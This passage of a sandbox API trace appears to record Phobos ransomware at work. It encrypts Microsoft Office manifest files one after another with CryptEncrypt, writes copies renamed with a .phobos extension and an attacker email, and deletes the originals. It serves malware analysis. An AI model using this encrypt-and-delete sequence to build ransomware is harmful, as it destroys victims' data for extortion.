office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.340] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0054.340] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.340] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x3a41, lpOverlapped=0x0) returned 1 [0054.351] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3a50, dwBufLen=0x3a50 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3a50) returned 1 [0054.351] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x3a50, lpOverlapped=0x0) returned 1 [0054.352] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0054.352] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.352] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.352] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0054.352] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.352] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0054.352] CloseHandle (hObject=0x328) returned 1 [0054.352] CloseHandle (hObject=0x2fc) returned 1 [0054.353] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0054.354] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.354] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1261) returned 1 [0054.354] CloseHandle (hObject=0x2fc) returned 1 [0054.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.355] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.355] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.355] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.355] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc790) returned 1 [0054.355] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.355] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4ed, lpOverlapped=0x0) returned 1 [0054.399] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0) returned 1 [0054.399] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4f0, lpOverlapped=0x0) returned 1 [0054.400] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc6d0) returned 1 [0054.400] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.400] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.400] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0054.400] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.400] CryptDestroyKey (hKey=0x10dc790) returned 1 [0054.400] CloseHandle (hObject=0x2fc) returned 1 [0054.401] CloseHandle (hObject=0x328) returned 1 [0054.401] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0054.402] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.432] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=65002) returned 1 [0054.432] CloseHandle (hObject=0x310) returned 1 [0054.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.432] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.432] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.531] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc690) returned 1 [0054.531] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.531] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xfdea, lpOverlapped=0x0) returned 1 [0054.587] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfdf0, dwBufLen=0xfdf0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfdf0) returned 1 [0054.587] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xfdf0, lpOverlapped=0x0) returned 1 [0054.589] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc710) returned 1 [0054.589] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.589] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.589] CryptDestroyKey (hKey=0x10dc710) returned 1 [0054.589] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.589] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.589] CloseHandle (hObject=0x310) returned 1 [0054.589] CloseHandle (hObject=0x328) returned 1 [0054.591] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0054.592] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.599] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1261) returned 1 [0054.599] CloseHandle (hObject=0x2fc) returned 1 [0054.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.599] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.599] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.601] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0054.601] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.601] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4ed, lpOverlapped=0x0) returned 1 [0054.603] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0) returned 1 [0054.603] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4f0, lpOverlapped=0x0) returned 1 [0054.604] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc9d0) returned 1 [0054.604] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.604] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.604] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0054.604] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.604] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0054.604] CloseHandle (hObject=0x2fc) returned 1 [0054.605] CloseHandle (hObject=0x328) returned 1 [0054.605] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0054.606] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.607] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1261) returned 1 [0054.607] CloseHandle (hObject=0x328) returned 1 [0054.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.607] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.607] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.607] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc610) returned 1 [0054.608] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.608] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4ed, lpOverlapped=0x0) returned 1 [0054.667] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4f0) returned 1 [0054.667] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4f0, lpOverlapped=0x0) returned 1 [0054.668] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc950) returned 1 [0054.668] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.668] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90, dwBufLen=0x90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x90) returned 1 [0054.668] CryptDestroyKey (hKey=0x10dc950) returned 1 [0054.668] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x142, lpOverlapped=0x0) returned 1 [0054.668] CryptDestroyKey (hKey=0x10dc610) returned 1 [0054.668] CloseHandle (hObject=0x328) returned 1 [0054.669] CloseHandle (hObject=0x2fc) returned 1 [0054.669] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0054.670] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0054.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.670] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=399528) returned 1 [0054.670] CloseHandle (hObject=0x2fc) returned 1 [0054.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0054.671] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.671] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0054.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0054.671] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc850) returned 1 [0054.671] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0054.671] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x618a8, lpOverlapped=0x0) returned 1 [0054.685] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x618b0, dwBufLen=0x618b0 | out: pbData=0x3c58020*, 